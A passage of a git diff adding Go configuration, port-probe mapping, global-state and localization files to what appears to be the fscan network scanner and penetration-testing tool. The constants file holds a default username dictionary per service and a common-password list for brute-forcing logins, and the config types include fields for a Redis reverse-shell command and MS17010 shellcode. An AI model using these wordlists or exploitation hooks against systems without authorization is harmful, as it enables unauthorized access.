+// CheckErrs 检查单个错误 - 简化版本
+func CheckErrs(err error) error {
+ return err
+}
diff --git a/common/config/PortMapping.go b/common/config/PortMapping.go
new file mode 100644
index 0000000..fc10932
--- /dev/null
+++ b/common/config/PortMapping.go
@@ -0,0 +1,81 @@
+package config
+
+import (
+ "sync"
+)
+
+// ProbeMapping 探测器映射管理器
+type ProbeMapping struct {
+ mu sync.RWMutex
+ defaultMap []string
+ portMap map[int][]string
+ initialized bool
+}
+
+// NewProbeMapping 创建探测器映射管理器
+func NewProbeMapping() *ProbeMapping {
+ return &ProbeMapping{
+ defaultMap: getDefaultProbeMap(),
+ portMap: getDefaultPortMap(),
+ initialized: true,
+ }
+}
+
+// getDefaultProbeMap 获取默认的探测器顺序
+func getDefaultProbeMap() []string {
+ // 返回常量的副本
+ result := make([]string, len(DefaultProbeMap))
+ copy(result, DefaultProbeMap)
+ return result
+}
+
+// getDefaultPortMap 获取默认的端口映射
+func getDefaultPortMap() map[int][]string {
+ // 返回常量的深拷贝
+ result := make(map[int][]string)
+ for port, probes := range DefaultPortMap {
+ probesCopy := make([]string, len(probes))
+ copy(probesCopy, probes)
+ result[port] = probesCopy
+ }
+ return result
+}
+
+// GetDefaultProbes 获取默认探测器列表
+func (pm *ProbeMapping) GetDefaultProbes() []string {
+ pm.mu.RLock()
+ defer pm.mu.RUnlock()
+
+ result := make([]string, len(pm.defaultMap))
+ copy(result, pm.defaultMap)
+ return result
+}
+
+// GetAllPortMappings 获取所有端口映射
+func (pm *ProbeMapping) GetAllPortMappings() map[int][]string {
+ pm.mu.RLock()
+ defer pm.mu.RUnlock()
+
+ result := make(map[int][]string)
+ for port, probes := range pm.portMap {
+ probesCopy := make([]string, len(probes))
+ copy(probesCopy, probes)
+ result[port] = probesCopy
+ }
+ return result
+}
+
+
+// 全局探测器映射实例
+var (
+ globalProbeMapping *ProbeMapping
+ probeMappingOnce sync.Once
+)
+
+// GetGlobalProbeMapping 获取全局探测器映射实例
+func GetGlobalProbeMapping() *ProbeMapping {
+ probeMappingOnce.Do(func() {
+ globalProbeMapping = NewProbeMapping()
+ })
+ return globalProbeMapping
+}
\ No newline at end of file
diff --git a/common/config/ServiceDict.go b/common/config/ServiceDict.go
new file mode 100644
index 0000000..96ca7a4
--- /dev/null
+++ b/common/config/ServiceDict.go
@@ -0,0 +1,82 @@
+package config
+
+import (
+ "sync"
+)
+
+// ServiceDictionary 服务字典管理器
+type ServiceDictionary struct {
+ mu sync.RWMutex
+ userDict map[string][]string
+ passwords []string
+ initialized bool
+}
+
+// NewServiceDictionary 创建服务字典管理器
+func NewServiceDictionary() *ServiceDictionary {
+ return &ServiceDictionary{
+ userDict: getDefaultUserDict(),
+ passwords: getDefaultPasswords(),
+ initialized: true,
+ }
+}
+
+// getDefaultUserDict 获取默认用户字典
+func getDefaultUserDict() map[string][]string {
+ // 返回常量的深拷贝
+ result := make(map[string][]string)
+ for service, users := range DefaultUserDict {
+ usersCopy := make([]string, len(users))
+ copy(usersCopy, users)
+ result[service] = usersCopy
+ }
+ return result
+}
+
+// getDefaultPasswords 获取默认密码字典
+func getDefaultPasswords() []string {
+ // 返回常量的副本
+ result := make([]string, len(DefaultPasswords))
+ copy(result, DefaultPasswords)
+ return result
+}
+
+// GetAllUserDicts 获取所有服务的用户字典
+func (sd *ServiceDictionary) GetAllUserDicts() map[string][]string {
+ sd.mu.RLock()
+ defer sd.mu.RUnlock()
+
+ result := make(map[string][]string)
+ for service, users := range sd.userDict {
+ usersCopy := make([]string, len(users))
+ copy(usersCopy, users)
+ result[service] = usersCopy
+ }
+ return result
+}
+
+// GetPasswords 获取默认密码字典
+func (sd *ServiceDictionary) GetPasswords() []string {
+ sd.mu.RLock()
+ defer sd.mu.RUnlock()
+
+ // 返回副本,避免外部修改
+ result := make([]string, len(sd.passwords))
+ copy(result, sd.passwords)
+ return result
+}
+
+
+// 全局服务字典实例
+var (
+ globalServiceDict *ServiceDictionary
+ serviceDictOnce sync.Once
+)
+
+// GetGlobalServiceDict 获取全局服务字典实例
+func GetGlobalServiceDict() *ServiceDictionary {
+ serviceDictOnce.Do(func() {
+ globalServiceDict = NewServiceDictionary()
+ })
+ return globalServiceDict
+}
\ No newline at end of file
diff --git a/common/config/Types.go b/common/config/Types.go
new file mode 100644
index 0000000..8326802
--- /dev/null
+++ b/common/config/Types.go
@@ -0,0 +1,150 @@
+package config
+
+import (
+ "sync"
+ "time"
+
+ "github.com/schollz/progressbar/v3"
+)
+
+// Version 版本信息
+type Version struct {
+ Major int `json:"major"`
+ Minor int `json:"minor"`
+ Patch int `json:"patch"`
+ Full string `json:"full"`
+}
+
+// ApplicationConfig 应用程序配置
+type ApplicationConfig struct {
+ Version Version `json:"version"`
+ ProgressBar *progressbar.ProgressBar `json:"-"`
+ OutputMutex sync.Mutex `json:"-"`
+}
+
+// ScanTargetConfig 扫描目标配置
+type ScanTargetConfig struct {
+ Ports string `json:"ports"` // 要扫描的端口列表
+ ExcludePorts string `json:"exclude_ports"` // 要排除的端口列表
+ ExcludeHosts string `json:"exclude_hosts"` // 要排除的主机列表
+ AddPorts string `json:"add_ports"` // 额外添加的端口列表
+ HostPort []string `json:"host_port"` // 主机:端口格式的目标列表
+}
+
+// CredentialConfig 认证凭据配置
+type CredentialConfig struct {
+ Username string `json:"username"` // 用于认证的用户名
+ Password string `json:"password"` // 用于认证的密码
+ AddUsers string `json:"add_users"` // 额外添加的用户名列表
+ AddPasswords string `json:"add_passwords"` // 额外添加的密码列表
+ Domain string `json:"domain"` // Active Directory/SMB域名
+ HashValue string `json:"hash_value"` // 用于哈希认证的单个哈希值
+ HashValues []string `json:"hash_values"` // 哈希值列表
+ HashBytes [][]byte `json:"-"` // 二进制格式的哈希值列表
+ HashFile string `json:"hash_file"` // 包含哈希值的文件路径
+ SshKeyPath string `json:"ssh_key_path"` // SSH私钥文件路径
+}
+
+// ScanControlConfig 扫描控制配置
+type ScanControlConfig struct {
+ ScanMode string `json:"scan_mode"` // 扫描模式或指定的插件列表
+ ThreadNum int `json:"thread_num"` // 并发扫描线程数
+ ModuleThreadNum int `json:"module_thread_num"` // 模块内部线程数
+ Timeout int64 `json:"timeout"` // 单个扫描操作超时时间(秒)
+ GlobalTimeout int64 `json:"global_timeout"` // 整体扫描超时时间(秒)
+ // LiveTop 已移除,改为智能控制
+ DisablePing bool `json:"disable_ping"` // 是否禁用主机存活性检测
+ EnableFingerprint bool `json:"enable_fingerprint"` // 是否启用服务指纹识别
+ LocalMode bool `json:"local_mode"` // 是否启用本地信息收集模式
+}
+
+// InputFileConfig 输入文件配置
+type InputFileConfig struct {
+ HostsFile string `json:"hosts_file"` // 包含目标主机的文件路径
+ UsersFile string `json:"users_file"` // 包含用户名列表的文件路径
+ PasswordsFile string `json:"passwords_file"` // 包含密码列表的文件路径
+ PortsFile string `json:"ports_file"` // 包含端口列表的文件路径
+}
+
+// WebScanConfig Web扫描配置
+type WebScanConfig struct {
+ TargetURL string `json:"target_url"` // 单个目标URL
+ URLsFile string `json:"urls_file"` // 包含URL列表的文件路径
+ URLs []string `json:"urls"` // 解析后的URL目标列表
+ WebTimeout int64 `json:"web_timeout"` // Web请求超时时间(秒)
+ HttpProxy string `json:"http_proxy"` // HTTP代理地址
+ Socks5Proxy string `json:"socks5_proxy"` // SOCKS5代理地址
+}
+
+// VulnExploitConfig POC与漏洞利用配置
+type VulnExploitConfig struct {
+ // POC配置
+ PocPath string `json:"poc_path"` // POC脚本路径
+ PocInfo PocInfo `json:"poc_info"` // POC详细信息结构
+ DisablePocScan bool `json:"disable_poc_scan"` // 是否禁用POC扫描
+
+ // Redis利用
+ RedisFile string `json:"redis_file"` // Redis利用目标文件
+ RedisShell string `json:"redis_shell"` // Redis反弹Shell命令
+ RedisWritePath string `json:"redis_write_path"` // Redis文件写入路径
+ RedisWriteContent string `json:"redis_write_content"` // Redis文件写入内容
+ RedisWriteFile string `json:"redis_write_file"` // Redis写入的源文件
+
+ // 其他漏洞利用
+ Shellcode string `json:"shellcode"` // 用于MS17010等漏洞利用的Shellcode
+}
+
+// BruteForceConfig 暴力破解控制配置
+type BruteForceConfig struct {
+ DisableBrute bool `json:"disable_brute"` // 是否禁用暴力破解模块
+ MaxRetries int `json:"max_retries"` // 连接失败最大重试次数
+}
+
+// DisplayConfig 输出与显示配置
+type DisplayConfig struct {
+ DisableSave bool `json:"disable_save"` // 是否禁止保存扫描结果
+ Silent bool `json:"silent"` // 是否启用静默模式
+ NoColor bool `json:"no_color"` // 是否禁用彩色输出
+ LogLevel string `json:"log_level"` // 日志输出级别
+ DisableProgress bool `json:"disable_progress"` // 是否禁用进度条
+ Language string `json:"language"` // 界面语言设置
+}
+
+// OutputConfig 输出配置
+type OutputConfig struct {
+ Outputfile string `json:"output_file"` // 输出文件路径
+ OutputFormat string `json:"output_format"` // 输出格式
+}
+
+// NetworkConfig 网络配置
+type NetworkConfig struct {
+ UserAgent string `json:"user_agent"` // 用户代理字符串
+ Accept string `json:"accept"` // Accept头部
+ DnsLog bool `json:"dns_log"` // 是否启用DNS日志
+ PocNum int `json:"poc_num"` // POC并发数
+ PocFull bool `json:"poc_full"` // 是否启用完整POC扫描
+ Cookie string `json:"cookie"` // Cookie字符串
+}
+
+// PocInfo POC详细信息结构
+type PocInfo struct {
+ Target string `json:"target"`
+ PocName string `json:"poc_name"`
+}
+
+// Config 完整的配置结构
+type Config struct {
+ Application *ApplicationConfig `json:"application"`
+ ScanTarget *ScanTargetConfig `json:"scan_target"`
+ Credential *CredentialConfig `json:"credential"`
+ ScanControl *ScanControlConfig `json:"scan_control"`
+ InputFile *InputFileConfig `json:"input_file"`
+ WebScan *WebScanConfig `json:"web_scan"`
+ VulnExploit *VulnExploitConfig `json:"vuln_exploit"`
+ BruteForce *BruteForceConfig `json:"brute_force"`
+ Display *DisplayConfig `json:"display"`
+ Output *OutputConfig `json:"output"`
+ Network *NetworkConfig `json:"network"`
+ LastUpdated time.Time `json:"last_updated"`
+}
+
diff --git a/common/config/constants.go b/common/config/constants.go
new file mode 100644
index 0000000..7517fbe
--- /dev/null
+++ b/common/config/constants.go
@@ -0,0 +1,192 @@
+package config
+
+// 默认探测器列表
+var DefaultProbeMap = []string{
+ "GenericLines",
+ "GetRequest",
+ "TLSSessionReq",
+ "SSLSessionReq",
+ "ms-sql-s",
+ "JavaRMI",
+ "LDAPSearchReq",
+ "LDAPBindReq",
+ "oracle-tns",
+ "Socks5",
+}
+
+// 默认端口映射关系
+var DefaultPortMap = map[int][]string{
+ 1: {"GetRequest", "Help"},
+ 7: {"Help"},
+ 21: {"GenericLines", "Help"},
+ 23: {"GenericLines", "tn3270"},
+ 25: {"Hello", "Help"},
+ 35: {"GenericLines"},
+ 42: {"SMBProgNeg"},
+ 43: {"GenericLines"},
+ 53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
+ 70: {"GetRequest"},
+ 79: {"GenericLines", "GetRequest", "Help"},
+ 80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
+ 81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
+ 82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
+ 83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
+ 84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
+ 85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
+ 88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
+ 98: {"GenericLines"},
+ 110: {"GenericLines"},
+ 111: {"RPCCheck"},
+ 113: {"GenericLines", "GetRequest", "Help"},
+ 119: {"GenericLines", "Help"},
+ 130: {"NotesRPC"},
+ 135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
+ 139: {"GetRequest", "SMBProgNeg"},
+ 143: {"GetRequest"},
+ 175: {"NJE"},
+ 199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
+ 214: {"GenericLines"},
+ 264: {"GenericLines"},
+ 311: {"LDAPSearchReq"},
+ 340: {"GenericLines"},
+ 389: {"LDAPSearchReq", "LDAPBindReq"},
+ 443: {"GetRequest", "HTTPOptions", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
+ 444: {"GetRequest", "HTTPOptions", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
+ 445: {"SMBProgNeg"},
+ 465: {"Hello", "Help", "GetRequest", "HTTPOptions", "SSLSessionReq", "TerminalServerCookie"},
+ 502: {"GenericLines"},
+ 503: {"GenericLines"},
+ 513: {"GenericLines"},
+ 514: {"GenericLines"},
+ 515: {"LPDString"},
+ 544: {"GenericLines"},
+ 548: {"afp"},
+ 554: {"GetRequest"},
+ 563: {"GenericLines"},
+ 587: {"Hello", "Help"},
+ 631: {"GetRequest", "HTTPOptions"},
+ 636: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
+ 646: {"LDAPSearchReq", "RPCCheck"},
+ 691: {"GenericLines"},
+ 873: {"GenericLines"},
+ 898: {"GetRequest"},
+ 993: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
+ 995: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
+ 1080: {"GenericLines", "Socks5", "Socks4"},
+ 1099: {"JavaRMI"},
+ 1234: {"SqueezeCenter_CLI"},
+ 1311: {"GenericLines"},
+ 1352: {"oracle-tns"},
+ 1414: {"ibm-mqseries"},
+ 1433: {"ms-sql-s"},
+ 1521: {"oracle-tns"},
+ 1723: {"GenericLines"},
+ 1883: {"mqtt"},
+ 1911: {"oracle-tns"},
+ 2000: {"GenericLines", "oracle-tns"},
+ 2049: {"RPCCheck"},
+ 2121: {"GenericLines", "Help"},
+ 2181: {"GenericLines"},
+ 2222: {"GetRequest", "GenericLines", "HTTPOptions", "Help", "SSH", "TerminalServerCookie"},
+ 2375: {"docker", "GetRequest", "HTTPOptions"},
+ 2376: {"docker", "GetRequest", "HTTPOptions", "SSLSessionReq"},
+ 2484: {"oracle-tns"},
+ 2628: {"dominoconsole"},
+ 3000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
+ 3268: {"LDAPSearchReq", "LDAPBindReq"},
+ 3269: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
+ 3306: {"GenericLines", "GetRequest", "HTTPOptions"},
+ 3389: {"TerminalServerCookie", "TerminalServer"},
+ 3690: {"GenericLines"},
+ 4000: {"GenericLines"},
+ 4369: {"epmd"},
+ 4444: {"GenericLines"},
+ 4840: {"GenericLines"},
+ 5000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
+ 5050: {"GenericLines"},
+ 5060: {"SIPOptions"},
+ 5222: {"GenericLines"},
+ 5432: {"GenericLines"},
+ 5555: {"GenericLines"},
+ 5560: {"GenericLines", "oracle-tns"},
+ 5631: {"GenericLines", "PCWorkstation"},
+ 5672: {"GenericLines"},
+ 5984: {"GetRequest", "HTTPOptions"},
+ 6000: {"X11Probe"},
+ 6379: {"redis-server"},
+ 6432: {"GenericLines"},
+ 6667: {"GenericLines"},
+ 7000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
+ 7001: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
+ 7002: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
+ 7070: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
+ 7443: {"GetRequest", "HTTPOptions", "SSLSessionReq"},
+ 7777: {"GenericLines", "oracle-tns"},
+ 8000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "iperf3"},
+ 8005: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
+ 8008: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
+ 8009: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "ajp"},
+ 8080: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
+ 8081: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
+ 8089: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
+ 8090: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
+ 8443: {"GetRequest", "HTTPOptions", "SSLSessionReq"},
+ 8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
+ 9000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
+ 9042: {"GenericLines"},
+ 9092: {"GenericLines", "kafka"},
+ 9200: {"GetRequest", "HTTPOptions", "elasticsearch"},
+ 9300: {"GenericLines"},
+ 9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "adbConnect"},
+ 10000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
+ 10051: {"GenericLines"},
+ 11211: {"Memcache"},
+ 15672: {"GetRequest", "HTTPOptions"},
+ 27017: {"mongodb"},
+ 27018: {"mongodb"},
+ 50070: {"GetRequest", "HTTPOptions"},
+ 61616: {"GenericLines"},
+}
+
+// 默认服务用户字典
+var DefaultUserDict = map[string][]string{
+ "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
+ "mysql": {"root", "mysql"},
+ "mssql": {"sa", "sql"},
+ "smb": {"administrator", "admin", "guest"},
+ "rdp": {"administrator", "admin", "guest"},
+ "postgresql": {"postgres", "admin"},
+ "ssh": {"root", "admin"},
+ "mongodb": {"root", "admin"},
+ "oracle": {"sys", "system", "admin", "test", "web", "orcl"},
+ "telnet": {"root", "admin", "test"},
+ "elastic": {"elastic", "admin", "kibana"},
+ "rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
+ "kafka": {"admin", "kafka", "root", "test"},
+ "activemq": {"admin", "root", "activemq", "system", "user"},
+ "ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
+ "smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
+ "imap": {"admin", "mail", "postmaster", "root", "user", "test"},
+ "pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
+ "zabbix": {"Admin", "admin", "guest", "user"},
+ "rsync": {"rsync", "root", "admin", "backup"},
+ "cassandra": {"cassandra", "admin", "root", "system"},
+ "neo4j": {"neo4j", "admin", "root", "test"},
+}
+
+// 默认密码字典
+var DefaultPasswords = []string{
+ "123456", "admin", "admin123", "root", "", "pass123", "pass@123",
+ "password", "Password", "P@ssword123", "123123", "654321", "111111",
+ "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}",
+ "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123",
+ "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4",
+ "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test",
+ "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666",
+ "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888",
+ "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111",
+ "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123",
+ "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ",
+ "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456",
+ "1q2w3e", "Charge123", "Aa123456789", "elastic123",
+}
diff --git a/common/globals.go b/common/globals.go
new file mode 100644
index 0000000..4a9bcd8
--- /dev/null
+++ b/common/globals.go
@@ -0,0 +1,196 @@
+package common
+
+import (
+ "sync"
+ "time"
+
+ "github.com/schollz/progressbar/v3"
+ "github.com/shadow1ng/fscan/common/base"
+ "github.com/shadow1ng/fscan/common/logging"
+)
+
+/*
+globals.go - 全局变量定义
+
+使用线程安全的配置管理,消除双向同步机制,直接使用core包作为唯一数据源。
+保持向后兼容的同时提供并发安全的访问。
+*/
+
+// =============================================================================
+// 版本信息
+// =============================================================================
+
+var version = "2.2.1"
+
+// =============================================================================
+// 简化的全局状态管理(仅保留必要的同步机制)
+// =============================================================================
+
+// globalState已简化,因为大部分管理函数未被使用
+// 保留基本的时间记录用于向后兼容
+var startTimeInit = time.Now()
+
+// =============================================================================
+// 核心扫描配置 - 直接使用core包变量(单一数据源)
+// =============================================================================
+
+var (
+ ScanMode string // 直接映射到base.ScanMode
+ ThreadNum int // 直接映射到base.ThreadNum
+ Timeout int64 // 直接映射到base.Timeout
+ DisablePing bool // 直接映射到base.DisablePing
+ LocalMode bool // 直接映射到base.LocalMode
+ LocalPlugin string // 本地插件选择
+ AliveOnly bool // 仅存活探测模式
+)
+
+// =============================================================================
+// 基础认证配置 - 直接使用core包变量
+// =============================================================================
+
+var (
+ Username string // 直接映射到base.Username
+ Password string // 直接映射到base.Password
+ Userdict map[string][]string // 直接映射到base.Userdict
+ Passwords []string // 直接映射到base.Passwords
+)
+
+// =============================================================================
+// 网络配置 - 直接使用core包变量
+// =============================================================================
+
+var (
+ HttpProxy string // 直接映射到base.HttpProxy
+ Socks5Proxy string // 直接映射到base.Socks5Proxy
+)
+
+// =============================================================================
+// 显示控制 - 直接使用core包变量
+// =============================================================================
+
+var (
+ NoColor bool // 直接映射到base.NoColor
+ Language string // 直接映射到base.Language
+ LogLevel string // 直接映射到base.LogLevel
+
+ // 进度条控制
+ ShowProgress bool // 计算得出:!DisableProgress
+)
+
+// =============================================================================
+// 端口映射 - 直接使用core包变量
+// =============================================================================
+
+var (
+ PortMap map[int][]string // 直接映射到base.PortMap
+ DefaultMap []string // 直接映射到base.DefaultMap
+)
+
+// =============================================================================
+// 线程安全的输出状态管理(已移除未使用的函数)
+// =============================================================================
+
+// 注意:GetOutputfile, SetOutputfile, GetOutputFormat, SetOutputFormat,
+// GetProgressBar, SetProgressBar, GetStats, SetStats, IncrementNum等函数
+// 已根据死代码分析移除,因为它们在代码库中没有被使用。
+// 如有需要,可以通过直接访问向后兼容的全局变量实现相同功能。
+
+// =============================================================================
+// 核心配置同步(线程安全)
+// =============================================================================
+
+// SyncFromCore 从core包同步配置到common包(读操作)
+func SyncFromCore() {
+ ScanMode = base.ScanMode
+ ThreadNum = base.ThreadNum
+ Timeout = base.Timeout
+ DisablePing = base.DisablePing
+ LocalMode = base.LocalMode
+ LocalPlugin = base.LocalPlugin
+
+ Username = base.Username
+ Password = base.Password
+ Userdict = base.Userdict
+ Passwords = base.Passwords
+
+ HttpProxy = base.HttpProxy
+ Socks5Proxy = base.Socks5Proxy
+
+ NoColor = base.NoColor
+ Language = base.Language
+ LogLevel = base.LogLevel
+
+ PortMap = base.PortMap
+ DefaultMap = base.DefaultMap
+}
+
+// SyncToCore 同步common包配置到core包(写操作)
+func SyncToCore() {
+ base.ScanMode = ScanMode
+ base.ThreadNum = ThreadNum
+ base.Timeout = Timeout
+ base.DisablePing = DisablePing
+ base.LocalMode = LocalMode
+ base.LocalPlugin = LocalPlugin
+
+ base.Username = Username
+ base.Password = Password
+ base.Userdict = Userdict
+ base.Passwords = Passwords
+
+ base.HttpProxy = HttpProxy
+ base.Socks5Proxy = Socks5Proxy
+
+ base.NoColor = NoColor
+ base.Language = Language
+ base.LogLevel = LogLevel
+
+ base.PortMap = PortMap
+ base.DefaultMap = DefaultMap
+}
+
+// =============================================================================
+// 向后兼容的全局变量
+// =============================================================================
+
+var (
+ // 输出配置(向后兼容)
+ Outputfile string
+ OutputFormat string
+ ProgressBar *progressbar.ProgressBar
+ OutputMutex sync.Mutex
+
+ // 统计信息(向后兼容)
+ Num, End int64
+ StartTime = time.Now()
+)
+
+// =============================================================================
+// 日志级别常量
+// =============================================================================
+
+const (
+ LogLevelAll = string(logging.LevelAll)
+ LogLevelError = string(logging.LevelError)
+ LogLevelBase = string(logging.LevelBase)
+ LogLevelInfo = string(logging.LevelInfo)
+ LogLevelSuccess = string(logging.LevelSuccess)
+ LogLevelDebug = string(logging.LevelDebug)
+ LogLevelInfoSuccess = string(logging.LevelInfoSuccess)
+ LogLevelBaseInfoSuccess = string(logging.LevelBaseInfoSuccess)
+)
+
+// =============================================================================
+// 初始化
+// =============================================================================
+
+func init() {
+ // 初始化core包配置
+ base.InitGlobalConfig()
+
+ // 从core包同步初始配置
+ SyncFromCore()
+
+ // 初始化向后兼容的时间变量
+ StartTime = startTimeInit
+}
\ No newline at end of file
diff --git a/common/hostinfo_ext.go b/common/hostinfo_ext.go
new file mode 100644
index 0000000..e41b78e
--- /dev/null
+++ b/common/hostinfo_ext.go
@@ -0,0 +1,58 @@
+package common
+
+import (
+ "fmt"
+ "strconv"
+)
+
+// HostInfoHelper 提供HostInfo的辅助方法
+// 使用函数而不是方法,保持向后兼容
+
+
+// GetPort 获取端口号(转换为整数)
+func GetPort(h *HostInfo) (int, error) {
+ if h.Ports == "" {
+ return 0, fmt.Errorf("端口未设置")
+ }
+ return strconv.Atoi(h.Ports)
+}
+
+
+// IsWebTarget 判断是否为Web目标
+func IsWebTarget(h *HostInfo) bool {
+ return h.Url != ""
+}
+
+// HasPort 检查是否设置了端口
+func HasPort(h *HostInfo) bool {
+ return h.Ports != ""
+}
+
+// ValidateHostInfo 验证HostInfo的有效性
+func ValidateHostInfo(h *HostInfo) error {
+ if h.Host == "" && h.Url == "" {
+ return fmt.Errorf("主机地址或URL必须至少指定一个")
+ }
+
+ // 验证端口格式(如果指定了)
+ if h.Ports != "" {
+ if _, err := GetPort(h); err != nil {
+ return fmt.Errorf("端口格式无效: %v", err)
+ }
+ }
+
+ return nil
+}
+
+// HostInfoString 返回HostInfo的字符串表示
+func HostInfoString(h *HostInfo) string {
+ if IsWebTarget(h) {
+ return h.Url
+ }
+
+ if HasPort(h) {
+ return fmt.Sprintf("%s:%s", h.Host, h.Ports)
+ }
+
+ return h.Host
+}
\ No newline at end of file
diff --git a/common/i18n/init.go b/common/i18n/init.go
new file mode 100644
index 0000000..9288ce9
--- /dev/null
+++ b/common/i18n/init.go
@@ -0,0 +1,48 @@
+package i18n
+
+import (
+ "github.com/shadow1ng/fscan/common/i18n/messages"
+)
+
+/*
+init.go - 国际化模块统一初始化
+
+自动加载所有分类消息到全局管理器,
+确保所有消息在程序启动时正确注册。
+*/
+
+// init 统一初始化所有国际化消息
+func init() {
+ // 按类别依次加载所有消息
+ loadAllMessages()
+}
+
+// loadAllMessages 加载所有分类的消息
+func loadAllMessages() {
+ // 加载核心系统消息
+ AddMessages(messages.CoreMessages)
+
+ // 加载解析相关消息
+ AddMessages(messages.ParseMessages)
+
+ // 加载配置相关消息
+ AddMessages(messages.ConfigMessages)
+
+ // 加载扫描相关消息
+ AddMessages(messages.ScanMessages)
+
+ // 加载网络相关消息
+ AddMessages(messages.NetworkMessages)
+
+ // 加载输出相关消息
+ AddMessages(messages.OutputMessages)
+
+ // 加载通用错误消息
+ AddMessages(messages.ErrorMessages)
+
+ // 加载命令行参数消息
+ AddMessages(messages.FlagMessages)
+
+ // 加载插件相关消息
+ AddMessages(messages.PluginMessages)
+}
\ No newline at end of file
diff --git a/common/i18n/manager.go b/common/i18n/manager.go
new file mode 100644
index 0000000..79e3c65
--- /dev/null
+++ b/common/i18n/manager.go
@@ -0,0 +1,220 @@
+package i18n
+
+import (
+ "fmt"
+ "sync"
+)
+
+/*
+manager.go - 国际化管理器
+
+提供统一的国际化文本管理,支持多语言动态切换,
+包含完整的消息库和高效的文本查询机制。
+*/
+
+// =============================================================================
+// 常量定义
+// =============================================================================
+
+// 支持的语言常量
+const (
+ LangZH = "zh" // 中文
+ LangEN = "en" // 英文
+)
+
+// 默认配置
+const (
+ DefaultLanguage = LangZH // 默认语言
+ FallbackLanguage = LangEN // 回退语言
+)
+
+// =============================================================================
+// 国际化管理器
+// =============================================================================
+
+// Manager 国际化管理器
+type Manager struct {
+ mu sync.RWMutex
+ currentLanguage string
+ fallbackLanguage string
+ messages map[string]map[string]string
+ enabled bool
+}
+
+// 全局管理器实例
+var globalManager = NewManager()
+
+// NewManager 创建新的国际化管理器
+func NewManager() *Manager {
+ return &Manager{
+ currentLanguage: DefaultLanguage,
+ fallbackLanguage: FallbackLanguage,
+ messages: make(map[string]map[string]string),
+ enabled: true,
+ }
+}
+
+// =============================================================================
+// 基础管理方法
+// =============================================================================
+
+// SetLanguage 设置当前语言
+func (m *Manager) SetLanguage(lang string) {
+ m.mu.Lock()
+ defer m.mu.Unlock()
+ m.currentLanguage = lang
+}
+
+// SetFallbackLanguage 设置回退语言
+func (m *Manager) SetFallbackLanguage(lang string) {
+ m.mu.Lock()
+ defer m.mu.Unlock()
+ m.fallbackLanguage = lang
+}
+
+// Enable 启用国际化
+func (m *Manager) Enable() {
+ m.mu.Lock()
+ defer m.mu.Unlock()
+ m.enabled = true
+}
+
+// =============================================================================================
+// 已删除的死代码函数(未使用):GetLanguage, Disable
+// =============================================================================================
+
+// IsEnabled 检查是否启用国际化
+func (m *Manager) IsEnabled() bool {
+ m.mu.RLock()
+ defer m.mu.RUnlock()
+ return m.enabled
+}
+
+// =============================================================================
+// 消息管理方法
+// =============================================================================
+
+// AddMessages 批量添加消息
+func (m *Manager) AddMessages(messages map[string]map[string]string) {
+ m.mu.Lock()
+ defer m.mu.Unlock()
+ for key, translations := range messages {
+ m.messages[key] = translations
+ }
+}
+
+// GetMessage 获取指定键和语言的消息
+func (m *Manager) GetMessage(key, lang string) (string, bool) {
+ m.mu.RLock()
+ defer m.mu.RUnlock()
+
+ if translations, exists := m.messages[key]; exists {
+ if message, exists := translations[lang]; exists {
+ return message, true
+ }
+ }
+ return "", false
+}
+
+// =============================================================================================
+// 已删除的死代码函数(未使用):
+// AddMessage, HasMessage, GetAllMessages, GetMessageCount, GetSupportedLanguages
+// =============================================================================================
+
+// =============================================================================
+// 文本获取方法
+// =============================================================================
+
+// GetText 获取国际化文本(支持格式化)
+func (m *Manager) GetText(key string, args ...interface{}) string {
